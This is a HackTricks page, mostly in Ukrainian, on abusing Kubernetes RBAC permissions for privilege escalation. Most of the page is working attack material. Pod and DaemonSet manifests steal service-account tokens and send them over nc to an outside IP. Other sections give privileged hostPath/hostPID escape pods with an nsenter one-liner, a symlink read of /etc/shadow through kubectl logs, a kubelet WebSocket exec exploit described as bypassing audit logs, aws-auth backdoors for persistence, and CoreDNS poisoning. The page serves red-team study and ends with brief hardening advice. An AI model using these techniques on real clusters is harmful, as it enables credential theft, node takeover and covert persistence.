Зловживання Roles/ClusterRoles в Kubernetes

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.
Пам’ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою kubectl api-resources

Privilege Escalation

Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є 4 main techniques to escalate privileges:

  • Мати можливість impersonate інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
  • Мати можливість create/patch/exec pods, де ви можете find or attach SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
  • Мати можливість read secrets, оскільки токени SAs зберігаються як secrets
  • Мати можливість escape to the node з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є)
  • П’ята техніка, яку варто згадати — це здатність run port-forward в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod.

Access Any Resource or Verb (Wildcard)

The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Доступ до будь-якого ресурсу з конкретною дією

У RBAC деякі дозволи становлять значну загрозу:

  1. create: Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation.
  2. list: Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data.
  3. get: Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї.

Приклад pod, який викраде token service account bootstrap-signer та надішле його зловмиснику:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Нижче вказано всі привілеї, які може мати контейнер:

  • Privileged access (відключення захисту та встановлення capabilities)
  • Disable namespaces hostIPC and hostPid — що може допомогти ескалації привілеїв
  • Disable hostNetwork namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж
  • Mount hosts / всередині контейнера
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Створіть pod за допомогою:

kubectl --token $token create -f mount_root.yaml

Однолайнер із this tweet та з деякими доповненнями:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Now that you can escape to the node check post-exploitation techniques in:

Stealth

Можливо, ви захочете бути більш непомітним. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Якщо ви можете create pod (і опційно service account), ви можете отримати привілеї в cloud environment, призначивши cloud roles pod або service account і потім отримавши до них доступ.
Більше того, якщо ви можете створити pod з host network namespace, ви можете вкрасти роль IAM екземпляра node.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Можна зловживати цими дозволами, щоб create a new pod і escalate privileges як у попередньому прикладі.

Нижче наведено yaml, який creates a daemonset and exfiltrates the token of the SA всередині pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec — це ресурс у kubernetes, що використовується для запуску команд у shell всередині pod. Це дозволяє виконувати команди всередині containers або отримати shell всередині.

Тому можливо отримати доступ до pod і вкрасти токен SA, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

За замовчуванням команда виконується в першому контейнері pod. Отримайте усі контейнери в pod за допомогою kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' і потім вкажіть контейнер, в якому хочете виконати команду, за допомогою kubectl exec -it <pod_name> -c <container_name> -- sh

Якщо це distroless контейнер, можна спробувати використовувати shell builtins для отримання інформації про контейнери або завантажити власні інструменти, наприклад busybox, використовуючи: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Цей дозвіл дозволяє перенаправити один локальний порт на один порт у вказаному pod. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod:

kubectl port-forward pod/mypod 5000:5000

Записуваний на хості /var/log/ — Escape

As indicated in this research, якщо ви можете отримати доступ або створити pod з hosts /var/log/ directory mounted на ньому, ви можете escape from the container.
Це відбувається тому, що коли Kube-API tries to get the logs контейнера (використовуючи kubectl logs <pod>), воно requests the 0.log файл пода через /logs/ endpoint сервісу Kubelet.
Сервіс Kubelet відкриває endpoint /logs/, який фактично відкриває файлову систему /var/log контейнера.

Тому, атакувальник з access to write in the /var/log/ folder контейнера може зловживати цією поведінкою двома способами:

  • Змінивши файл 0.log свого контейнера (зазвичай розташований у /var/logs/pods/namespace_pod_uid/container/0.log) так, щоб він був symlink pointing to /etc/shadow, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Якщо атакувальник контролює будь-який principal з дозволами на читання nodes/log, він може просто створити symlink у /host-mounted/var/log/sym, що вказує на /, і при доступі до https://<gateway>:10250/logs/sym/ він побачить список кореневої файлової системи хоста (зміна symlink може надати доступ до файлів).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Лабораторія та автоматизований експлойт доступні за https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Обхід захисту readOnly

Якщо вам пощастить і доступна високо-привілейована capability capability CAP_SYS_ADMIN, ви можете просто перемонтувати папку як rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Як зазначено в this research, можливо обійти захист:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Імітація привілейованих облікових записів

Маючи привілей user impersonation, зловмисник може видати себе за привілейований обліковий запис.

Просто використайте параметр --as=<username> в команді kubectl, щоб імітувати користувача, або --as-group=<group> щоб імітувати групу:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Або використовуйте REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Перелік Secrets

Дозвіл на list secrets може дозволити зловмиснику фактично прочитати secrets, отримавши доступ до REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Створення та читання Secrets

Існує спеціальний тип Kubernetes secret типу kubernetes.io/service-account-token, який зберігає serviceaccount tokens. Якщо у вас є права створювати і читати secrets, і ви також знаєте ім’я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Приклад експлуатації:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.

Читання secret – brute-forcing token IDs

Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї listing secrets), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов’язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п’ятисимвольний алфавітно-цифровий token (без певних символів) згідно з source code.

Token генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts.

EncrpytionConfiguration in clear text

Можна знайти ключі у відкритому вигляді для шифрування data at rest в об’єкті такого типу, наприклад:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Якщо у вас є вербси create у ресурсі certificatesigningrequests (або принаймні у certificatesigningrequests/nodeClient), ви можете створити новий CeSR для нового вузла.

Згідно з documentation it’s possible to auto approve this requests, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у certificatesigningrequests/approval та approve у signers з resourceName <signerNameDomain>/<signerNamePath> або <signerNameDomain>/*

Приклад role з усіма необхідними дозволами є:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Отже, після схвалення нового node CSR ви можете abuse спеціальні дозволи nodes, щоб steal secrets і escalate privileges.

У this post та this one конфігурація GKE K8s TLS Bootstrap налаштована з automatic signing, і це використовується для генерації credentials нового K8s Node, після чого можна abuse їх для escalate privileges та steal secrets.
Якщо ви маєте згадані привілеї, ви могли б зробити те саме. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки node can only access the secrets of containers mounted on it.

Спосіб обійти це — просто create a node credentials for the node name where the container with the interesting secrets is mounted (але дивіться, як це зроблено у першому пості):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Принципали, які можуть змінювати configmaps у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши aws-auth configmap.
Необхідні verbs — update та patch, або create, якщо configmap не було створено:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Ви можете використовувати aws-auth для persistence, що дає доступ користувачам з інших облікових записів.

Однак aws --profile other_account eks update-kubeconfig --name <cluster-name> не працює з іншого акаунту. Але насправді aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing працює, якщо вказати ARN кластера замість просто імені.
Щоб kubectl працював, просто переконайтеся, що ви налаштували kubeconfig жертви і в aws exec args додали --profile other_account_role, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв’язку з AWS.

CoreDNS config map

Якщо у вас є права на зміну coredns configmap в неймспейсі kube-system, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для викрадення конфіденційної інформації або впровадження шкідливого вмісту.

Необхідні дієслова — update та patch над coredns configmap (або над усіма config map).

Звичайний файл coredns містить приблизно таке:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Зловмисник може завантажити його, виконавши kubectl get configmap coredns -n kube-system -o yaml, змінити, додавши, наприклад, rewrite name victim.com attacker.com, тож коли звертаються до victim.com, фактично буде доступний attacker.com. Потім застосувати зміни командою kubectl apply -f poison_dns.yaml.

Інший варіант — просто відредагувати файл через kubectl edit configmap coredns -n kube-system і внести зміни.

Ескалація в GKE

Існує 2 способи призначити K8s дозволи суб’єктам GCP. У будь-якому випадку суб’єкту також потрібен дозвіл container.clusters.get, щоб отримати облікові дані для доступу до кластера, або вам доведеться згенерувати власний kubectl config файл (перейдіть за наступним посиланням).

Warning

При зверненні до K8s api endpoint буде відправлено GCP auth token. Далі GCP, через K8s api endpoint, спочатку перевірить, чи має принципал (за email) доступ всередині кластера, потім перевірить, чи має він доступ через GCP IAM.
Якщо хоч би одне з цих тверджень істинне, буде надано доступ. Якщо ні, буде повернута помилка з підказкою надати дозволи через GCP IAM.

Перший метод — використання GCP IAM: K8s дозволи мають свої еквівалентні дозволи в GCP IAM, і якщо принципал їх має, він зможе ними скористатися.

GCP - Container Privesc

Другий метод — призначення K8s дозволів всередині кластера користувачу, ідентифікованому за його email (включно з сервісними акаунтами GCP).

Створення токена serviceaccounts

Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).

ephemeralcontainers

Принципали, які можуть update або patch pods/ephemeralcontainers, можуть отримати виконання коду в інших pods, і потенційно вийти на ноду, додавши ephemeral container з привілейованим securityContext

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Принципали з будь-яким із глаголів create, update або patch над validatingwebhookconfigurations або mutatingwebhookconfigurations можуть мати можливість створити одну з таких webhookconfigurations з метою ескалації привілеїв.

For a mutatingwebhookconfigurations example check this section of this post.

Escalate

Як ви можете прочитати в наступному розділі: Built-in Privileged Escalation Prevention, принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має дієслово escalate або * над roles або clusterroles та відповідні опції binding.
Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є.

Nodes proxy

Принципали з доступом до підресурсу nodes/proxy можуть виконувати код у pods через Kubelet API (згідно з this). Більше інформації про автентифікацію Kubelet на цій сторінці:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

  • Kubelet відображає HTTP-методи на RBAC-дієслова перед оновленням протоколу. WebSocket handshakes must start with HTTP GET (Connection: Upgrade), so /exec over WebSocket is checked as verb get instead of the expected create.
  • /exec, /run, /attach, та /portforward явно не відображені й потрапляють у стандартний підресурс proxy, тож питання авторизації стає can <user> get nodes/proxy?
  • Якщо токен має лише nodes/proxy + get, прямий доступ WebSocket до kubelet на https://<node_ip>:10250 дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (/api/v1/nodes/<node>/proxy/exec/...) відхиляється, оскільки це звичайний HTTP POST і відображається на create.
  • Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET.

Прямий експлойт (потребує мережевої досяжності до kubelet та токена з nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Використовуйте Node IP, а не ім’я вузла. Такий самий запит з curl -X POST буде Forbidden, оскільки він відповідає create.
  • Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише subjectaccessreviews від kubelet user agent і не реєструє команди pods/exec.
  • Перелічіть уражені service accounts за допомогою detection script, щоб знайти токени, обмежені до nodes/proxy GET.

Видалення pods + unschedulable nodes

Суб’єкти, які можуть видаляти pods (delete verb over pods resource), або evict pods (create verb over pods/eviction resource), або змінювати статус pod (доступ до pods/status) та можуть зробити інші nodes недоступними для планування (доступ до nodes/status) або видаляти nodes (delete verb over nodes resource) і контролюють pod, можуть викрасти pods з інших nodes, щоб ті виконувалися на скомпрометованому node, і зловмисник може викрасти токени з цих pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

Принципали, які можуть змінювати services/status, можуть встановити поле status.loadBalancer.ingress.ip, щоб використати unfixed CVE-2020-8554 та запустити MiTM атаки проти кластера. Більшість пом’якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до this).

Nodes and Pods status

Суб’єкти з правами update або patch над nodes/status або pods/status можуть змінювати мітки, щоб вплинути на застосовані обмеження планування.

Built-in Privileged Escalation Prevention

Kubernetes має built-in mechanism для запобігання privilege escalation.

Ця система гарантує, що users cannot elevate their privileges by modifying roles or role bindings. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний.

Правило встановлює, що user can only create or update a role if they possess all the permissions the role comprises. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles.

Warning

Існує виняток з попереднього правила. Якщо у принципала є verb escalate над roles або clusterroles, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Apparently this technique worked before, but according to my tests it’s not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don’t have already.

Привілей створювати Rolebindings дозволяє користувачу bind roles to a service account. Цей привілей потенційно може призвести до privilege escalation, оскільки він дозволяє користувачу прив’язати admin privileges до скомпрометованого service account.

Other Attacks

Sidecar proxy app

За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod.

Create a sidecar proxy app

Sidecar container полягає просто у додаванні другого (або більше) контейнера всередині pod.

Наприклад, нижче — частина конфігурації pod з 2 контейнерами:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете надати більше прав другому container’у, яких перший не матиме.

Детальніше: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Зловмисний Admission Controller

Admission controller перехоплює запити до Kubernetes API server перед збереженням об’єкта, але після того, як запит аутентифіковано і авторизовано.

Якщо зловмиснику якимось чином вдасться впровадити Mutation Admission Controller, він зможе змінювати вже аутентифіковані запити. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері.

Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Перевірте статус, щоб дізнатися, чи готово:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Потім розгорніть новий pod:

kubectl run nginx --image nginx
kubectl get po -w

Коли ви бачите помилку ErrImagePull, перевірте ім’я образу за допомогою одного з запитів:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Як видно на зображенні вище, ми намагалися запустити образ nginx, але в результаті було виконано образ rewanthtammana/malicious-image. Що тільки що сталося!?

Технічні подробиці

Скрипт ./deploy.sh встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Найкращі практики

Вимкнення автоматичного монтування токенів Service Account

  • Pods and Service Accounts: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
  • Як застосувати: Встановіть automountServiceAccountToken: false у конфігурації service accounts або pods починаючи з версії Kubernetes 1.6.

Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings

  • Вибіркове включення: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки.

Ролі, обмежені namespace, замість ролей на рівні кластера

  • Roles vs. ClusterRoles: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів.

Використовуйте автоматизовані інструменти

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks